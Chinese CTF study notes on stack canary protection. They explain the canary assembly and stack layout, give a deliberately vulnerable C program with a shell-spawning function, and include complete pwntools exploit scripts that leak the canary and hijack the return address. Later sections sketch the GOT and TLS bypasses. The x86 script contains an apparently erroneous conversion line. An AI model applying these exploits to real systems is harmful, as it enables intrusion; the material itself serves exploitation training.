PWN之Canary學習


Canary

參考鏈接:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/canary-zh/

0x1 簡介:

用於防止棧溢出被利用的一種方法,原理是在棧的ebp下面放一個隨機數,在函數返回之前會檢查這個數有沒有被修改,就可以檢測是否發生棧溢出了。

0x2 原理:

在棧底放一個隨機數,在函數返回時檢查是否被修改。具體實現如下:
x86 :
在函數序言部分插入canary值:

mov    eax,gs:0x14
mov    DWORD PTR [ebp-0xc],eax

在函數返回之前,會將該值取出,檢查是否修改。這個操作即為檢測是否發生棧溢出。

mov    eax,DWORD PTR [ebp-0xc]
xor    eax,DWORD PTR gs:0x14
je     0x80492b2 <vuln+103> # 正常函數返回
call   0x8049380 <__stack_chk_fail_local> # 調用出錯處理函數

x86 棧結構大致如下:

        High  
        Address |                 |  
                +-----------------+
                | args            |
                +-----------------+
                | return address  |
                +-----------------+
                | old ebp         |
      ebp =>    +-----------------+
                | ebx             |
    ebp-4 =>    +-----------------+
                | unknown         |
    ebp-8 =>    +-----------------+
                | canary value    |
   ebp-12 =>    +-----------------+
                | 局部變量         |
        Low     |                 |
        Address

x64 :
函數序言:

mov    rax,QWORD PTR fs:0x28
mov    QWORD PTR [rbp-0x8],rax

函數返回前:

mov    rax,QWORD PTR [rbp-0x8]
xor    rax,QWORD PTR fs:0x28
je     0x401232 <vuln+102> # 正常函數返回
call   0x401040 <__stack_chk_fail@plt> # 調用出錯處理函數

x64 棧結構大致如下:

        High
        Address |                 |
                +-----------------+
                | args            |
                +-----------------+
                | return address  |
                +-----------------+
                | old ebp         |
      rbp =>    +-----------------+
                | canary value    |
    rbp-8 =>    +-----------------+
                | 局部變量         |
        Low     |                 |
        Address

0x3 繞過

0x3.1 泄露棧中的Canary

Canary 設計為以字節 \x00 結尾,本意是為了保證 Canary 可以截斷字符串。 泄露棧中的 Canary 的思路是覆蓋 Canary 的低字節,來打印出剩余的 Canary 部分。 這種利用方式需要存在合適的輸出函數,並且可能需要第一溢出泄露 Canary,之后再次溢出控制執行流程。

利用示例

源代碼如下:

// ex2.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}
void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
    char buf[100];
    for(int i=0;i<2;i++){
        read(0, buf, 0x200);
        printf(buf);
    }
}
int main(void) {
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}

編譯為 32bit 程序,開啟 NX,ASLR,Canary 保護,需要關閉PIE

gcc -m32 -no-pie ex2.c -o ex2-x86

linux默認開啟 NX,ASLR,Canary 保護
首先通過覆蓋 Canary 最后一個 \x00 字節來打印出 4 位的 Canary 之后,計算好偏移,將 Canary 填入到相應的溢出位置,實現 Ret 到 getshell 函數中

EXP

#!/usr/bin/env python

from pwn import *

context.binary = 'ex2-x86'
# context.log_level = 'debug'
io = process('./ex2-x86')

get_shell = ELF("./ex2-x86").sym["getshell"] # 這里是得到getshell函數的起始地址

io.recvuntil("Hello Hacker!\n")

# leak Canary
payload = "A"*100
io.sendline(payload) # 這里使用 sendline() 會在payload后面追加一個換行符 '\n' 對應的十六進制就是0xa

io.recvuntil("A"*100)
Canary = u32(int.from_bytes(io.recv(4),"little"))-0xa # 這里減去0xa是為了減去上面的換行符,得到真正的 Canary
log.info("Canary:"+hex(Canary))

# Bypass Canary
payload = b"\x90"*100+p32(Canary)+b"\x90"*12+p32(get_shell) # 使用getshell的函數地址覆蓋原來的返回地址
io.send(payload)

io.recv()

io.interactive()

編譯為64位程序:

gcc -no-pie ex2.c -o ex2-x64

EXP

#!/usr/bin/env python

from pwn import *

context.binary = 'ex2-x64'
# context.log_level = 'debug'
io = process('./ex2-x64')

get_shell = ELF("./ex2-x64").sym["getshell"] # 這里是得到getshell函數的起始地址

io.recvuntil("Hello Hacker!\n")

# leak Canary
payload = "A"*100 + "A" * 4 # 這里再加4個 A 是因為 100 模 8 是 4 ,如果不補齊 8 位,則無法覆蓋canary后面的 \x00
io.sendline(payload) # 這里使用 sendline() 會在payload后面追加一個換行符 '\n' 對應的十六進制就是0xa

io.recvuntil("A"*104)
Canary = u64(io.recv(8))-0xa # 這里減去0xa是為了減去上面的換行符,得到真正的 Canary
log.info("Canary:"+hex(Canary))

# Bypass Canary
payload = b"\x90"*104+p64(Canary)+b"\x90"*8+p64(get_shell) # 使用getshell的函數地址覆蓋原來的返回地址
io.send(payload)

io.recv()

io.interactive()

0x3.2 one-by-one 爆破 Canary

感覺用處不大,具體的可以看參考鏈接

0x3.3 劫持__stack_chk_fail 函數

已知 Canary 失敗的處理邏輯會進入到 __stack_chk_fail 函數,__stack_chk_fail 函數是一個普通的延遲綁定函數,可以通過修改 GOT 表劫持這個函數。

參見 ZCTF2017 Login,利用方式是通過 fsb 漏洞篡改 __stack_chk_fail 的 GOT 表,再進行 ROP 利用
參考鏈接:
https://1ce0ear.github.io/2017/09/29/ZCTF2017-login/
https://jontsang.github.io/post/34549.html

0x3.4 覆蓋 TLS 中儲存的 Canary 值

已知 Canary 儲存在 TLS 中,在函數返回前會使用這個值進行對比。當溢出尺寸較大時,可以同時覆蓋棧上儲存的 Canary 和 TLS 儲存的 Canary 實現繞過。

參見 StarCTF2018 babystack
參考鏈接:
https://jontsang.github.io/post/34550.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM